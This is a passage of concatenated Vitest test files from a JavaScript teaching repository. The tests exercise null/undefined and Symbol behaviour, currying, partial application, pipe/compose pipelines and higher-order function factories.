901-918 const checkValue = (value) => { if (value == null) { // Loose equality catches both return 'No value' } return 'Has value' } expect(checkValue(null)).toBe('No value') expect(checkValue(undefined)).toBe('No value') }) it('should show that Symbol properties are hidden from iteration', () => { // Source: lines 925-939 const secret = Symbol('secret') const obj = { visible: 'hello', [secret]: 'hidden' } // ❌ Symbol properties are invisible here expect(Object.keys(obj)).toEqual(['visible']) expect(JSON.stringify(obj)).toBe('{"visible":"hello"}') // ✓ Use these to access Symbol properties expect(Object.getOwnPropertySymbols(obj)).toHaveLength(1) expect(Reflect.ownKeys(obj)).toEqual(['visible', secret]) }) }) describe('Test Your Knowledge Q&A (lines 973-1080)', () => { it('Q1: should demonstrate difference between null and undefined', () => { // Source: lines 983-992 let x // undefined (uninitialized) let y = null // null (intentionally empty) expect(typeof x).toBe('undefined') expect(typeof y).toBe('object') // bug! expect(x == y).toBe(true) // loose equality expect(x === y).toBe(false) // strict equality }) it('Q2: should show output of || vs ?? expressions', () => { // Source: lines 1006-1010 expect(0 || 'fallback').toBe('fallback') // 0 is falsy expect(0 ?? 'fallback').toBe(0) // 0 is not nullish expect('' || 'fallback').toBe('fallback') // '' is falsy expect('' ?? 'fallback').toBe('') // '' is not nullish }) it('Q4: should check for null OR undefined in one condition', () => { // Source: lines 1029-1032 const checkNull = (value) => value == null expect(checkNull(null)).toBe(true) expect(checkNull(undefined)).toBe(true) expect(checkNull(0)).toBe(false) expect(checkNull('')).toBe(false) }) it('Q5: should show difference between Symbol() and Symbol.for()', () => { // Source: lines 1050-1057 expect(Symbol('id') === Symbol('id')).toBe(false) expect(Symbol.for('id') === Symbol.for('id')).toBe(true) }) it('Q6: should demonstrate why BigInt and Number cannot be mixed', () => { // Source: lines 1067-1073 expect(() => 10n + 5).toThrow(TypeError) // Fix by converting to same type expect(10n + BigInt(5)).toBe(15n) expect(Number(10n) + 5).toBe(15) }) }) }) ================================================ FILE: tests/functional-programming/currying-composition/currying-composition.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Currying & Composition', () => { describe('Basic Currying', () => { describe('Manual Currying with Arrow Functions', () => { it('should create a curried function with arrow syntax', () => { const add = a => b => c => a + b + c expect(add(1)(2)(3)).toBe(6) }) it('should allow partial application at each step', () => { const add = a => b => c => a + b + c const add1 = add(1) // Returns b => c => 1 + b + c const add1and2 = add1(2) // Returns c => 1 + 2 + c const result = add1and2(3) // Returns 6 expect(typeof add1).toBe('function') expect(typeof add1and2).toBe('function') expect(result).toBe(6) }) it('should demonstrate closures preserving arguments', () => { const multiply = a => b => a * b const double = multiply(2) const triple = multiply(3) expect(double(5)).toBe(10) expect(triple(5)).toBe(15) expect(double(10)).toBe(20) expect(triple(10)).toBe(30) }) }) describe('Traditional Function Currying', () => { it('should work with traditional function syntax', () => { function curriedAdd(a) { return function(b) { return function(c) { return a + b + c } } } expect(curriedAdd(1)(2)(3)).toBe(6) }) }) describe('Pizza Restaurant Example', () => { it('should demonstrate the pizza ordering pattern', () => { const orderPizza = size => crust => topping => { return `${size} ${crust}-crust ${topping} pizza` } expect(orderPizza("Large")("Thin")("Pepperoni")) .toBe("Large Thin-crust Pepperoni pizza") }) it('should allow creating reusable order templates', () => { const orderPizza = size => crust => topping => { return `${size} ${crust}-crust ${topping} pizza` } const orderLarge = orderPizza("Large") const orderLargeThin = orderLarge("Thin") expect(orderLargeThin("Mushroom")).toBe("Large Thin-crust Mushroom pizza") expect(orderLargeThin("Hawaiian")).toBe("Large Thin-crust Hawaiian pizza") }) }) }) describe('Curry Helper Implementation', () => { describe('Basic Two-Argument Curry', () => { it('should curry a two-argument function', () => { function curry(fn) { return function(a) { return function(b) { return fn(a, b) } } } const add = (a, b) => a + b const curriedAdd = curry(add) expect(curriedAdd(1)(2)).toBe(3) }) }) describe('Advanced Curry (Any Number of Arguments)', () => { const curry = fn => { return function curried(...args) { if (args.length >= fn.length) { return fn.apply(this, args) } return (...nextArgs) => curried.apply(this, args.concat(nextArgs)) } } it('should support full currying', () => { const sum = (a, b, c) => a + b + c const curriedSum = curry(sum) expect(curriedSum(1)(2)(3)).toBe(6) }) it('should support normal function calls', () => { const sum = (a, b, c) => a + b + c const curriedSum = curry(sum) expect(curriedSum(1, 2, 3)).toBe(6) }) it('should support mixed calling styles', () => { const sum = (a, b, c) => a + b + c const curriedSum = curry(sum) expect(curriedSum(1, 2)(3)).toBe(6) expect(curriedSum(1)(2, 3)).toBe(6) }) it('should work with functions of different arities', () => { const add2 = (a, b) => a + b const add4 = (a, b, c, d) => a + b + c + d const curriedAdd2 = curry(add2) const curriedAdd4 = curry(add4) expect(curriedAdd2(1)(2)).toBe(3) expect(curriedAdd4(1)(2)(3)(4)).toBe(10) expect(curriedAdd4(1, 2)(3, 4)).toBe(10) }) }) describe('curryN (Explicit Arity)', () => { const curryN = (fn, arity) => { return function curried(...args) { if (args.length >= arity) { return fn(...args) } return (...nextArgs) => curried(...args, ...nextArgs) } } it('should curry variadic functions with explicit arity', () => { const sum = (...nums) => nums.reduce((a, b) => a + b, 0) const curriedSum3 = curryN(sum, 3) const curriedSum5 = curryN(sum, 5) expect(curriedSum3(1)(2)(3)).toBe(6) expect(curriedSum5(1)(2)(3)(4)(5)).toBe(15) }) }) }) describe('Currying vs Partial Application', () => { describe('Currying (One Argument at a Time)', () => { it('should demonstrate currying with unary functions', () => { const curriedAdd = a => b => c => a + b + c // Each call takes exactly ONE argument const step1 = curriedAdd(1) // Returns function const step2 = step1(2) // Returns function const step3 = step2(3) // Returns 6 expect(typeof step1).toBe('function') expect(typeof step2).toBe('function') expect(step3).toBe(6) }) }) describe('Partial Application (Fix Some Args)', () => { const partial = (fn, ...presetArgs) => { return (...laterArgs) => fn(...presetArgs, ...laterArgs) } it('should fix some arguments upfront', () => { const greet = (greeting, punctuation, name) => { return `${greeting}, ${name}${punctuation}` } const greetExcitedly = partial(greet, "Hello", "!") expect(greetExcitedly("Alice")).toBe("Hello, Alice!") expect(greetExcitedly("Bob")).toBe("Hello, Bob!") }) it('should take remaining arguments together, not one at a time', () => { const add = (a, b, c, d) => a + b + c + d const add10 = partial(add, 10) // Takes remaining 3 args at once expect(add10(1, 2, 3)).toBe(16) }) it('should differ from currying in how arguments are collected', () => { const add = (a, b, c) => a + b + c // Curried: takes args one at a time const curriedAdd = a => b => c => a + b + c // Partial: fixes some args, takes rest together const add1 = partial(add, 1) // Curried needs 3 calls expect(curriedAdd(1)(2)(3)).toBe(6) // Partial takes remaining in one call expect(add1(2, 3)).toBe(6) }) }) }) describe('Real-World Currying Patterns', () => { describe('Configurable Logger', () => { it('should create specialized loggers', () => { const logs = [] const createLogger = level => prefix => message => { const logEntry = `[${level}] ${prefix}: ${message}` logs.push(logEntry) return logEntry } const infoLogger = createLogger('INFO')('App') const errorLogger = createLogger('ERROR')('App') expect(infoLogger('Started')).toBe('[INFO] App: Started') expect(errorLogger('Failed')).toBe('[ERROR] App: Failed') }) }) describe('API Client Factory', () => { it('should create specialized API clients', () => { const createApiUrl = baseUrl => endpoint => params => { const queryString = new URLSearchParams(params).toString() return `${baseUrl}${endpoint}${queryString ? '?' + queryString : ''}` } const githubApi = createApiUrl('https://api.github.com') const getUsers = githubApi('/users') expect(getUsers({})).toBe('https://api.github.com/users') expect(getUsers({ per_page: 10 })).toBe('https://api.github.com/users?per_page=10') }) }) describe('Validation Functions', () => { it('should create reusable validators', () => { const isGreaterThan = min => value => value > min const isLessThan = max => value => value < max const hasLength = length => str => str.length === length const isAdult = isGreaterThan(17) const isValidAge = isLessThan(120) const isValidZipCode = hasLength(5) expect(isAdult(18)).toBe(true) expect(isAdult(15)).toBe(false) expect(isValidAge(50)).toBe(true) expect(isValidAge(150)).toBe(false) expect(isValidZipCode('12345')).toBe(true) expect(isValidZipCode('1234')).toBe(false) }) it('should work with array methods', () => { const isGreaterThan = min => value => value > min const isAdult = isGreaterThan(17) const ages = [15, 22, 45, 8, 67] const adults = ages.filter(isAdult) expect(adults).toEqual([22, 45, 67]) }) }) describe('Discount Calculator', () => { it('should create specialized discount functions', () => { const applyDiscount = discountPercent => price => { return price * (1 - discountPercent / 100) } const tenPercentOff = applyDiscount(10) const twentyPercentOff = applyDiscount(20) const blackFridayDeal = applyDiscount(50) expect(tenPercentOff(100)).toBe(90) expect(twentyPercentOff(100)).toBe(80) expect(blackFridayDeal(100)).toBe(50) }) it('should work with array map', () => { const applyDiscount = discountPercent => price => { return price * (1 - discountPercent / 100) } const tenPercentOff = applyDiscount(10) const prices = [100, 200, 50, 75] const discountedPrices = prices.map(tenPercentOff) expect(discountedPrices).toEqual([90, 180, 45, 67.5]) }) }) describe('Event Handler Configuration', () => { it('should configure event handlers step by step', () => { const handlers = [] const handleEvent = eventType => elementId => callback => { const handler = { eventType, elementId, callback } handlers.push(handler) return handler } const onClick = handleEvent('click') const onClickButton = onClick('myButton') const handler = onClickButton(() => 'clicked!') expect(handler.eventType).toBe('click') expect(handler.elementId).toBe('myButton') expect(handler.callback()).toBe('clicked!') }) }) }) describe('Function Composition', () => { describe('pipe() Implementation', () => { const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) it('should compose functions left-to-right', () => { const add1 = x => x + 1 const double = x => x * 2 const square = x => x * x const process = pipe(add1, double, square) // 5 → 6 → 12 → 144 expect(process(5)).toBe(144) }) it('should process single functions', () => { const double = x => x * 2 const process = pipe(double) expect(process(5)).toBe(10) }) it('should handle identity when empty', () => { const pipe = (...fns) => x => fns.length ? fns.reduce((acc, fn) => fn(acc), x) : x const identity = pipe() expect(identity(5)).toBe(5) }) }) describe('compose() Implementation', () => { const compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x) it('should compose functions right-to-left', () => { const add1 = x => x + 1 const double = x => x * 2 const square = x => x * x // Functions listed in reverse execution order const process = compose(square, double, add1) // 5 → 6 → 12 → 144 (same result as pipe(add1, double, square)) expect(process(5)).toBe(144) }) it('should be equivalent to pipe with reversed arguments', () => { const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) const compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x) const add1 = x => x + 1 const double = x => x * 2 const piped = pipe(add1, double) const composed = compose(double, add1) expect(piped(5)).toBe(composed(5)) }) }) describe('String Transformation Pipeline', () => { const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) it('should transform strings through a pipeline', () => { const getName = obj => obj.name const trim = str => str.trim() const toUpperCase = str => str.toUpperCase() const addExclaim = str => str + '!' const shout = pipe(getName, trim, toUpperCase, addExclaim) expect(shout({ name: ' alice ' })).toBe('ALICE!') }) it('should convert to camelCase', () => { const trim = str => str.trim() const toLowerCase = str => str.toLowerCase() const splitWords = str => str.split(' ') const capitalizeFirst = words => words.map((w, i) => i === 0 ? w : w[0].toUpperCase() + w.slice(1) ) const joinWords = words => words.join('') const toCamelCase = pipe( trim, toLowerCase, splitWords, capitalizeFirst, joinWords ) expect(toCamelCase(' HELLO WORLD ')).toBe('helloWorld') expect(toCamelCase('my variable name')).toBe('myVariableName') }) }) describe('Data Transformation Pipeline', () => { const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) it('should process array data through pipeline', () => { const users = [ { name: 'Alice', age: 25, active: true }, { name: 'Bob', age: 17, active: true }, { name: 'Charlie', age: 30, active: false }, { name: 'Diana', age: 22, active: true } ] const processUsers = pipe( users => users.filter(u => u.active), users => users.filter(u => u.age >= 18), users => users.map(u => u.name), names => names.sort() ) expect(processUsers(users)).toEqual(['Alice', 'Diana']) }) }) }) describe('Currying + Composition Together', () => { const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) describe('Data-Last Parameter Order', () => { it('should enable composition with data-last curried functions', () => { const map = fn => arr => arr.map(fn) const filter = fn => arr => arr.filter(fn) const double = x => x * 2 const isEven = x => x % 2 === 0 const doubleEvens = pipe( filter(isEven), map(double) ) expect(doubleEvens([1, 2, 3, 4, 5, 6])).toEqual([4, 8, 12]) }) it('should show why data-first is harder to compose', () => { // Data-first: harder to compose const mapFirst = (arr, fn) => arr.map(fn) const filterFirst = (arr, fn) => arr.filter(fn) // Can't easily pipe these without wrapping const double = x => x * 2 const isEven = x => x % 2 === 0 // Would need manual wrapping: const result = mapFirst(filterFirst([1, 2, 3, 4, 5, 6], isEven), double) expect(result).toEqual([4, 8, 12]) }) }) describe('Curried Functions in Pipelines', () => { it('should compose curried arithmetic functions', () => { const add = a => b => a + b const multiply = a => b => a * b const subtract = a => b => b - a const add5 = add(5) const double = multiply(2) const subtract3 = subtract(3) const process = pipe(add5, double, subtract3) // 10 → 15 → 30 → 27 expect(process(10)).toBe(27) }) it('should demonstrate point-free style', () => { const prop = key => obj => obj[key] const toUpper = str => str.toUpperCase() // Point-free: no explicit data parameter const getUpperName = pipe( prop('name'), toUpper ) expect(getUpperName({ name: 'alice' })).toBe('ALICE') expect(getUpperName({ name: 'bob' })).toBe('BOB') }) }) describe('Complex Pipeline with Currying', () => { it('should process user data through curried pipeline', () => { const prop = key => obj => obj[key] const map = fn => arr => arr.map(fn) const filter = pred => arr => arr.filter(pred) const sort = compareFn => arr => [...arr].sort(compareFn) const take = n => arr => arr.slice(0, n) const users = [ { id: 1, name: 'Zara', score: 85 }, { id: 2, name: 'Alice', score: 92 }, { id: 3, name: 'Bob', score: 78 }, { id: 4, name: 'Charlie', score: 95 } ] const getTopScorers = pipe( filter(u => u.score >= 80), sort((a, b) => b.score - a.score), take(2), map(prop('name')) ) expect(getTopScorers(users)).toEqual(['Charlie', 'Alice']) }) }) }) describe('Interview Questions', () => { describe('Implement sum(1)(2)(3)...(n)()', () => { it('should return sum when called with no arguments', () => { function sum(a) { return function next(b) { if (b === undefined) { return a } return sum(a + b) } } expect(sum(1)(2)(3)()).toBe(6) expect(sum(1)(2)(3)(4)(5)()).toBe(15) expect(sum(10)()).toBe(10) }) }) describe('Infinite Currying with valueOf', () => { it('should return sum when coerced to number', () => { function sum(a) { const fn = b => sum(a + b) fn.valueOf = () => a return fn } expect(+sum(1)(2)(3)).toBe(6) expect(+sum(1)(2)(3)(4)(5)).toBe(15) }) }) describe('Fix map + parseInt Issue', () => { it('should demonstrate the problem', () => { const result = ['1', '2', '3'].map(parseInt) // parseInt receives (value, index, array) // parseInt('1', 0) → 1 // parseInt('2', 1) → NaN (base 1 is invalid) // parseInt('3', 2) → NaN (3 is not valid in base 2) expect(result).toEqual([1, NaN, NaN]) }) it('should fix with unary wrapper', () => { const unary = fn => arg => fn(arg) const result = ['1', '2', '3'].map(unary(parseInt)) expect(result).toEqual([1, 2, 3]) }) }) }) describe('Common Mistakes', () => { describe('Forgetting Curried Functions Return Functions', () => { it('should demonstrate the mistake', () => { const add = a => b => a + b // Mistake: forgot second call const result = add(1) expect(typeof result).toBe('function') expect(result).not.toBe(1) // Not a number! // Correct expect(add(1)(2)).toBe(3) }) }) describe('fn.length with Rest Parameters', () => { it('should show fn.length is 0 for rest parameters', () => { function withRest(...args) { return args.reduce((a, b) => a + b, 0) } function withDefault(a, b = 2) { return a + b } expect(withRest.length).toBe(0) expect(withDefault.length).toBe(1) // Only counts params before default }) }) describe('Type Mismatches in Pipelines', () => { const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) it('should show type mismatch issues', () => { const getAge = obj => obj.age // Returns number const getLength = arr => arr.length // Expects array // This would cause issues const broken = pipe(getAge, getLength) // Numbers have no .length property expect(broken({ age: 25 })).toBe(undefined) }) }) }) describe('Vanilla JS Utility Functions', () => { describe('Complete Utility Set', () => { // Curry const curry = fn => { return function curried(...args) { return args.length >= fn.length ? fn(...args) : (...next) => curried(...args, ...next) } } // Pipe and Compose const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) const compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x) // Partial Application const partial = (fn, ...presetArgs) => (...laterArgs) => fn(...presetArgs, ...laterArgs) // Data-last utilities const map = fn => arr => arr.map(fn) const filter = fn => arr => arr.filter(fn) const reduce = (fn, initial) => arr => arr.reduce(fn, initial) it('should demonstrate all utilities working together', () => { const sum = (a, b, c) => a + b + c const curriedSum = curry(sum) expect(curriedSum(1)(2)(3)).toBe(6) expect(curriedSum(1, 2)(3)).toBe(6) const double = x => x * 2 const add1 = x => x + 1 const process = pipe(add1, double) expect(process(5)).toBe(12) const processReverse = compose(add1, double) expect(processReverse(5)).toBe(11) // double first, then add1 const greet = (greeting, name) => `${greeting}, ${name}!` const sayHello = partial(greet, 'Hello') expect(sayHello('Alice')).toBe('Hello, Alice!') const nums = [1, 2, 3, 4, 5] const isEven = x => x % 2 === 0 const sumOfDoubledEvens = pipe( filter(isEven), map(double), reduce((a, b) => a + b, 0) ) expect(sumOfDoubledEvens(nums)).toBe(12) // [2,4] → [4,8] → 12 }) }) }) describe('Practical Examples from Documentation', () => { const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) describe('Logging Factory', () => { it('should create specialized loggers from documentation example', () => { const logs = [] const createLogger = level => withTimestamp => message => { const timestamp = withTimestamp ? '2024-01-15T10:30:00Z' : '' const logEntry = `[${level}]${timestamp ? ' ' + timestamp : ''} ${message}` logs.push(logEntry) return logEntry } const info = createLogger('INFO')(true) const quickLog = createLogger('LOG')(false) expect(info('Application started')).toBe('[INFO] 2024-01-15T10:30:00Z Application started') expect(quickLog('Quick debug')).toBe('[LOG] Quick debug') }) }) describe('Assembly Line Pipeline', () => { it('should transform user data as shown in documentation', () => { const getName = obj => obj.name const trim = str => str.trim() const toLowerCase = str => str.toLowerCase() const processUser = pipe(getName, trim, toLowerCase) expect(processUser({ name: ' ALICE ' })).toBe('alice') }) }) }) describe('Additional Documentation Examples', () => { const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) const compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x) describe('Real-World Pipeline: Processing API Data (doc lines 729-756)', () => { it('should process API response through complete pipeline', () => { // Mock API response matching documentation example const apiResponse = { data: [ { id: 1, firstName: 'Charlie', lastName: 'Brown', email: 'charlie@test.com', isActive: true }, { id: 2, firstName: 'Alice', lastName: 'Smith', email: 'alice@test.com', isActive: false }, { id: 3, firstName: 'Bob', lastName: 'Jones', email: 'bob@test.com', isActive: true }, { id: 4, firstName: 'Diana', lastName: 'Prince', email: 'diana@test.com', isActive: true }, { id: 5, firstName: 'Eve', lastName: 'Wilson', email: 'eve@test.com', isActive: true }, { id: 6, firstName: 'Frank', lastName: 'Miller', email: 'frank@test.com', isActive: true }, { id: 7, firstName: 'Grace', lastName: 'Lee', email: 'grace@test.com', isActive: true }, { id: 8, firstName: 'Henry', lastName: 'Taylor', email: 'henry@test.com', isActive: true }, { id: 9, firstName: 'Ivy', lastName: 'Chen', email: 'ivy@test.com', isActive: true }, { id: 10, firstName: 'Jack', lastName: 'Davis', email: 'jack@test.com', isActive: true }, { id: 11, firstName: 'Kate', lastName: 'Moore', email: 'kate@test.com', isActive: true }, { id: 12, firstName: 'Leo', lastName: 'Garcia', email: 'leo@test.com', isActive: true } ] } // Transform API response into display format (matching doc example) const processApiResponse = pipe( // Extract data from response response => response.data, // Filter active users only users => users.filter(u => u.isActive), // Sort by name (using lastName for sorting) users => users.sort((a, b) => a.firstName.localeCompare(b.firstName)), // Transform to display format users => users.map(u => ({ id: u.id, displayName: `${u.firstName} ${u.lastName}`, email: u.email })), // Take first 10 users => users.slice(0, 10) ) const result = processApiResponse(apiResponse) // Verify pipeline worked correctly expect(result).toHaveLength(10) // Alice was filtered out (isActive: false) expect(result.find(u => u.displayName === 'Alice Smith')).toBeUndefined() // First user should be Bob (alphabetically first among active users) expect(result[0].displayName).toBe('Bob Jones') // Verify display format expect(result[0]).toHaveProperty('id') expect(result[0]).toHaveProperty('displayName') expect(result[0]).toHaveProperty('email') // Verify sorting (alphabetical by firstName) const names = result.map(u => u.displayName.split(' ')[0]) const sortedNames = [...names].sort() expect(names).toEqual(sortedNames) }) }) describe('compose() Direction Example (doc lines 658-664)', () => { it('should process right-to-left with getName/toUpperCase/addExclaim', () => { const getName = obj => obj.name const toUpperCase = str => str.toUpperCase() const addExclaim = str => str + '!' // compose processes right-to-left const shout = compose(addExclaim, toUpperCase, getName) expect(shout({ name: 'alice' })).toBe('ALICE!') // This is equivalent to nested calls: const manualResult = addExclaim(toUpperCase(getName({ name: 'alice' }))) expect(shout({ name: 'alice' })).toBe(manualResult) }) }) describe('pipe/compose Equivalence (doc lines 669-672)', () => { it('should produce same result: pipe(a, b, c)(x) === compose(c, b, a)(x)', () => { const a = x => x + 1 const b = x => x * 2 const c = x => x - 3 const input = 10 // pipe: a first, then b, then c const pipedResult = pipe(a, b, c)(input) // compose: c(b(a(x))) - reversed argument order const composedResult = compose(c, b, a)(input) expect(pipedResult).toBe(composedResult) // Verify the actual value: (10 + 1) * 2 - 3 = 19 expect(pipedResult).toBe(19) }) it('should demonstrate both directions with same functions', () => { const add5 = x => x + 5 const double = x => x * 2 const square = x => x * x const input = 3 // pipe(add5, double, square)(3) = ((3 + 5) * 2)² = 256 expect(pipe(add5, double, square)(input)).toBe(256) // compose(add5, double, square)(3) = (3² * 2) + 5 = 23 expect(compose(add5, double, square)(input)).toBe(23) // To get same result with compose, reverse the order expect(compose(square, double, add5)(input)).toBe(256) }) }) describe('Why Multi-Argument Functions Do Not Compose (doc lines 769-775)', () => { it('should demonstrate NaN problem with non-curried functions', () => { const add = (a, b) => a + b const multiply = (a, b) => a * b // This doesn't work as expected! const addThenMultiply = pipe(add, multiply) // When called: add(1, 2) returns 3 // Then multiply(3) is called with only one argument // multiply(3, undefined) = 3 * undefined = NaN const result = addThenMultiply(1, 2) expect(result).toBeNaN() }) it('should work correctly with curried versions', () => { // Curried versions const add = a => b => a + b const multiply = a => b => a * b // Now we can compose! const add5 = add(5) // x => 5 + x const double = multiply(2) // x => 2 * x const add5ThenDouble = pipe(add5, double) // (10 + 5) * 2 = 30 expect(add5ThenDouble(10)).toBe(30) }) }) describe('Data-First vs Data-Last Argument Order (doc lines 984-994)', () => { it('should show data-first makes composition harder', () => { // Data-first: hard to compose const multiplyFirst = (value, factor) => value * factor // Can't easily create a reusable "double" function for pipelines // Would need to wrap it: const doubleFirst = value => multiplyFirst(value, 2) const tripleFirst = value => multiplyFirst(value, 3) // Works, but requires manual wrapping each time expect(pipe(doubleFirst, tripleFirst)(5)).toBe(30) }) it('should show data-last composes naturally', () => { // Data-last: composes well const multiply = factor => value => value * factor const double = multiply(2) const triple = multiply(3) // Composes naturally without any wrapping expect(pipe(double, triple)(5)).toBe(30) // Can easily create new specialized functions const quadruple = multiply(4) expect(pipe(double, quadruple)(5)).toBe(40) }) }) describe('Manual Composition with Nested Calls (doc lines 526-538)', () => { it('should work with nested function calls', () => { const add10 = x => x + 10 const multiply2 = x => x * 2 const subtract5 = x => x - 5 // Manual composition (nested calls) // Step by step: 5 → 15 → 30 → 25 const result = subtract5(multiply2(add10(5))) expect(result).toBe(25) }) it('should produce same result with compose function', () => { const add10 = x => x + 10 const multiply2 = x => x * 2 const subtract5 = x => x - 5 // With a compose function const composed = compose(subtract5, multiply2, add10) expect(composed(5)).toBe(25) // Verify it matches manual nesting const manual = subtract5(multiply2(add10(5))) expect(composed(5)).toBe(manual) }) it('should be more readable with pipe', () => { const add10 = x => x + 10 const multiply2 = x => x * 2 const subtract5 = x => x - 5 // With pipe (reads in execution order) const piped = pipe(add10, multiply2, subtract5) expect(piped(5)).toBe(25) }) }) describe('Opening Example from Documentation (doc lines 9-20)', () => { it('should demonstrate the opening currying example', () => { // Currying: one argument at a time const add = a => b => c => a + b + c expect(add(1)(2)(3)).toBe(6) }) it('should demonstrate the opening composition example', () => { const getName = obj => obj.name const trim = str => str.trim() const capitalize = str => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase() // Composition: chain functions together const process = pipe( getName, trim, capitalize ) expect(process({ name: " alice " })).toBe("Alice") }) }) }) }) ================================================ FILE: tests/functional-programming/higher-order-functions/higher-order-functions.test.js ================================================ import { describe, it, expect, vi } from 'vitest' describe('Higher-Order Functions', () => { describe('Functions that accept functions as arguments', () => { it('should execute the passed function', () => { const mockFn = vi.fn() function doTwice(action) { action() action() } doTwice(mockFn) expect(mockFn).toHaveBeenCalledTimes(2) }) it('should repeat an action n times', () => { const results = [] function repeat(times, action) { for (let i = 0; i < times; i++) { action(i) } } repeat(5, i => results.push(i)) expect(results).toEqual([0, 1, 2, 3, 4]) }) it('should apply different logic with the same structure', () => { function calculate(numbers, operation) { const result = [] for (const num of numbers) { result.push(operation(num)) } return result } const numbers = [1, 2, 3, 4, 5] const doubled = calculate(numbers, n => n * 2) const squared = calculate(numbers, n => n * n) const incremented = calculate(numbers, n => n + 1) expect(doubled).toEqual([2, 4, 6, 8, 10]) expect(squared).toEqual([1, 4, 9, 16, 25]) expect(incremented).toEqual([2, 3, 4, 5, 6]) }) it('should implement unless as a control flow abstraction', () => { const results = [] function unless(condition, action) { if (!condition) { action() } } for (let i = 0; i < 5; i++) { unless(i % 2 === 1, () => results.push(i)) } expect(results).toEqual([0, 2, 4]) }) it('should calculate circle properties using formulas', () => { function calculate(radii, formula) { const result = [] for (const radius of radii) { result.push(formula(radius)) } return result } const area = r => Math.PI * r * r const circumference = r => 2 * Math.PI * r const diameter = r => 2 * r const volume = r => (4/3) * Math.PI * r * r * r const radii = [1, 2, 3] // Test area: π * r² const areas = calculate(radii, area) expect(areas[0]).toBeCloseTo(Math.PI, 5) // π * 1² = π expect(areas[1]).toBeCloseTo(4 * Math.PI, 5) // π * 2² = 4π expect(areas[2]).toBeCloseTo(9 * Math.PI, 5) // π * 3² = 9π // Test circumference: 2πr const circumferences = calculate(radii, circumference) expect(circumferences[0]).toBeCloseTo(2 * Math.PI, 5) // 2π * 1 expect(circumferences[1]).toBeCloseTo(4 * Math.PI, 5) // 2π * 2 expect(circumferences[2]).toBeCloseTo(6 * Math.PI, 5) // 2π * 3 // Test diameter: 2r const diameters = calculate(radii, diameter) expect(diameters).toEqual([2, 4, 6]) // Test volume: (4/3)πr³ const volumes = calculate(radii, volume) expect(volumes[0]).toBeCloseTo((4/3) * Math.PI, 5) // (4/3)π * 1³ expect(volumes[1]).toBeCloseTo((4/3) * Math.PI * 8, 5) // (4/3)π * 2³ expect(volumes[2]).toBeCloseTo((4/3) * Math.PI * 27, 5) // (4/3)π * 3³ }) }) describe('Functions that return functions', () => { it('should create a greaterThan comparator', () => { function greaterThan(n) { return function(m) { return m > n } } const greaterThan10 = greaterThan(10) const greaterThan100 = greaterThan(100) expect(greaterThan10(11)).toBe(true) expect(greaterThan10(5)).toBe(false) expect(greaterThan10(10)).toBe(false) expect(greaterThan100(150)).toBe(true) expect(greaterThan100(50)).toBe(false) }) it('should create multiplier functions', () => { function multiplier(factor) { return number => number * factor } const double = multiplier(2) const triple = multiplier(3) const tenX = multiplier(10) expect(double(5)).toBe(10) expect(triple(5)).toBe(15) expect(tenX(5)).toBe(50) expect(double(0)).toBe(0) expect(triple(-3)).toBe(-9) }) it('should wrap functions with logging behavior', () => { const logs = [] function noisy(fn) { return function(...args) { logs.push({ type: 'call', args }) const result = fn(...args) logs.push({ type: 'return', result }) return result } } const noisyMax = noisy(Math.max) const result = noisyMax(3, 1, 4, 1, 5) expect(result).toBe(5) expect(logs).toEqual([ { type: 'call', args: [3, 1, 4, 1, 5] }, { type: 'return', result: 5 } ]) }) it('should wrap Math.floor with noisy', () => { const logs = [] function noisy(fn) { return function(...args) { logs.push({ type: 'call', args }) const result = fn(...args) logs.push({ type: 'return', result }) return result } } const noisyFloor = noisy(Math.floor) const result = noisyFloor(4.7) expect(result).toBe(4) expect(logs).toEqual([ { type: 'call', args: [4.7] }, { type: 'return', result: 4 } ]) }) it('should create greeting functions with createGreeter', () => { function createGreeter(greeting) { return function(name) { return `${greeting}, ${name}!` } } const sayHello = createGreeter('Hello') const sayGoodbye = createGreeter('Goodbye') expect(sayHello('Alice')).toBe('Hello, Alice!') expect(sayHello('Bob')).toBe('Hello, Bob!') expect(sayGoodbye('Alice')).toBe('Goodbye, Alice!') }) it('should allow direct factory invocation', () => { function multiplier(factor) { return number => number * factor } // Direct invocation without storing intermediate function expect(multiplier(7)(3)).toBe(21) expect(multiplier(2)(10)).toBe(20) expect(multiplier(0.5)(100)).toBe(50) }) }) describe('Function factories', () => { it('should create validator functions', () => { function createValidator(min, max) { return function(value) { return value >= min && value <= max } } const isValidAge = createValidator(0, 120) const isValidPercentage = createValidator(0, 100) expect(isValidAge(25)).toBe(true) expect(isValidAge(150)).toBe(false) expect(isValidAge(-5)).toBe(false) expect(isValidPercentage(50)).toBe(true) expect(isValidPercentage(101)).toBe(false) }) it('should create formatter functions', () => { function createFormatter(prefix, suffix) { return function(value) { return `${prefix}${value}${suffix}` } } const formatDollars = createFormatter('$', '') const formatPercent = createFormatter('', '%') const formatParens = createFormatter('(', ')') expect(formatDollars(99.99)).toBe('$99.99') expect(formatPercent(75)).toBe('75%') expect(formatParens('aside')).toBe('(aside)') }) it('should implement partial application', () => { function partial(fn, ...presetArgs) { return function(...laterArgs) { return fn(...presetArgs, ...laterArgs) } } function greet(greeting, punctuation, name) { return `${greeting}, ${name}${punctuation}` } const sayHello = partial(greet, 'Hello', '!') const askHowAreYou = partial(greet, 'How are you', '?') expect(sayHello('Alice')).toBe('Hello, Alice!') expect(sayHello('Bob')).toBe('Hello, Bob!') expect(askHowAreYou('Charlie')).toBe('How are you, Charlie?') }) it('should create rating validator', () => { function createValidator(min, max) { return function(value) { return value >= min && value <= max } } // Rating from 1 to 5 stars const isValidRating = createValidator(1, 5) expect(isValidRating(3)).toBe(true) expect(isValidRating(1)).toBe(true) // At min expect(isValidRating(5)).toBe(true) // At max expect(isValidRating(0)).toBe(false) // 